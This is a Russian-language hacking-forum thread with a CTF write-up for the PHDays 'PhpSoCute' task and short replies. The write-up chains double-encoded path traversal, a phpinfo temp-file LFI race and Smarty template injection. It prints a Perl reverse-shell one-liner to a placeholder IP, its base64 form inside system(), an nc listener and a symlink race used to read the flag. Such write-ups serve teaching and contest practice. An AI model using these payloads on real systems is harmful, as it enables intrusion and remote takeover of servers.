HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.04.2016, 01:50
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию

PhpSoCute

http://php.hackquest.phdays.com:88/

Дан какой-то бложек, с виду wordpress.

Доступны урлы: index.php -> index.html, wp-admin.html

Dirbuster нашел pi.php который показывает нам phpinfo.

После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

http://php.hackquest.phdays.com:88/pi.php/1html

Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php

При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

Пробуем doubleencode

Цитата:
Сообщение от None  
(%2569 - i), сработало!

Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -

Цитата:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR
Удача!

Читаем /etc/passwd

Цитата:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]bash
daemon
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]daemon[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sbin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
bin
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sys
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sys[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sync
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sync[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sync
games
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
man
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]cache[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
lp
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]lp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]lpd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
mail
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
news
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
uucp
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
proxy
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]proxy[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
www
[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
backup
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]backup[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]backups[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
[/COLOR][COLOR="#007700"]list:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Mailing[/COLOR][COLOR="#007700"]List[/COLOR][COLOR="#0000BB"]Manager[/COLOR][COLOR="#007700"]:/var/list:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
irc
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
gnats
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Gnats Bug[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Reporting System[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]admin[/COLOR][COLOR="#007700"]):/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]gnats[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
nobody
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]nobody[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]nonexistent[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
libuuid
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]100[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]::/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]libuuid[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
flag
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]::/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]flag[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]false[/COLOR][/COLOR
Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.

О, у нас есть phpinfo и lfi. так это же баг!

Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo

В это время нам надо проинклудить наш файл через lfi.

Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.

ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a24...2c654971e83f1c

Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$phpcode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'{var_dump(124)}'[/COLOR][COLOR="#007700"];
[/
COLOR][/COLOR


Не обращаем внимания на ошибки - просто копируем строку

Цитата:
и вставляем в браузер.

Смотрим view-souce и видим:

Цитата:
Сообщение от None  

int(124)

Отлично! php код выполняется.

Дальше я загнал перловый backconnect shell в base64

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]perl[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#DD0000"]'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'[/COLOR][/COLOR
И проинклудил такую строку:

Цитата:
Сообщение от None  
$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlI FNvY2tldDskaT0iMTI3LjAuMC5NWVNFUlZFUklQIjskcD00MDA wO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvd G9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJ faW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+J lMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4 mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=")))}';
Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

На сервере увидел коннект с уязвимого хоста и ура, шелл есть.



ls -la /



Здесь видно 2 файла от юзера flag: /binary и /flag

Прочитать нельзя.

Пробуем выполнить команду /binary flag - получаем ошибку.

Что же делать? Попробуем сделать symlink race condition

Запустим еще один терминал с этим сервером.

[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

В одном терминале запускаем /binary /tmp/lala в цикле

В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;

И получаем флаг.

За помощь спасибо mailbrush, yarbabin.
 
Ответить с цитированием

  #2  
Старый 20.04.2016, 01:56
DarkCaT
Познающий
Регистрация: 14.03.2016
Сообщений: 33
С нами: 5350646

Репутация: 17
По умолчанию

ПРосто шедеврально)
 
Ответить с цитированием

  #3  
Старый 20.04.2016, 01:56
MERRON
Новичок
Регистрация: 10.05.2008
Сообщений: 5
С нами: 9475161

Репутация: 0
По умолчанию

Цитата:
Сообщение от Isis  

Читаем /etc/passwd
Это было внезапно
 
Ответить с цитированием

  #4  
Старый 20.04.2016, 16:46
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию

Понаехали тут...
 
Ответить с цитированием

  #5  
Старый 20.04.2016, 21:54
Zen1T21
Участник форума
Регистрация: 13.01.2013
Сообщений: 157
С нами: 7015286

Репутация: 2
По умолчанию

А кто-ниб из форумчан участвовал в прошедшем RuCTF?
 
Ответить с цитированием

  #6  
Старый 22.04.2016, 01:48
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами: 8866466

Репутация: 564
По умолчанию

Шикарно!
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #7  
Старый 22.04.2016, 20:28
оlbaneс
Moderator - Level 7
Регистрация: 05.11.2007
Сообщений: 894
С нами: 9744746

Репутация: 1474


По умолчанию

Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
 
Ответить с цитированием

  #8  
Старый 23.04.2016, 23:46
23napster23
Новичок
Регистрация: 30.11.2015
Сообщений: 9
С нами: 5501846

Репутация: 0
По умолчанию

А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?

Цитата:
Сообщение от Isis  

Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.
Это в каком файле вы обнаружили template inj. ?
 
Ответить с цитированием

  #9  
Старый 24.04.2016, 01:28
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию

Цитата:
Сообщение от 23napster23  

А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
Это в каком файле вы обнаружили template inj. ?
t3mp473l04d3r.php

там smarty->fetch вызывался
 
Ответить с цитированием

  #10  
Старый 24.04.2016, 13:55
Alexandr II
Постоянный
Регистрация: 28.12.2007
Сообщений: 804
С нами: 9668486

Репутация: 1400


По умолчанию

Цитата:
Сообщение от оlbaneс  

Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
в строй возвращаются старички

по теме +
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.